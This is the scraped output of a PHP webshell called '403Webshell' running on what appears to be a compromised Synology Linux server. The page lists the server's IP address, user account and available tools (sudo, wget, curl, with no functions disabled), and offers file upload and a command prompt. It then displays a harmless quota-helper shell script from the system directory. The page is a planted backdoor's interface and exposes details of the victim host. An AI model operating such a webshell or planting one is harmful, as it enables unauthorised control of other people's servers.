403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/share/projectquota.sh
#!/bin/sh

[ -z "$__INCLUDE_PROJECTQUOTA_SH__" ] || return
readonly __INCLUDE_PROJECTQUOTA_SH__=defined

. /usr/syno/share/kernelversion.sh

GetPQMountOpt()
{
	local MountDev="$1"
	if [ "$(KernelVersionCode "$(KernelVersion)")" -ge "$(KernelVersionCode "4.4")" ] ; then
		if /sbin/tune2fs -l ${MountDev} | /bin/grep "^Filesystem features:" | /bin/grep -q -w project ; then
			echo "-oprjquota,rootprjquota"
			return 0
		fi
	fi
	echo
}

PQMounted()
{
	local MountPoint="$1"

	if [ -z "${MountPoint}" ]; then
		return 1
	fi
	local MountLine
	MountLine=$(grep " $MountPoint " /proc/mounts)
	if [ "${MountPoint}" != "$(echo "$MountLine" | cut -d ' ' -f 2 )" ]; then
		return 1
	fi
	echo "$MountLine" | cut -d ' ' -f 4 | grep -qw prjquota
}

Youez - 2016 - github.com/yon3zu
LinuXploit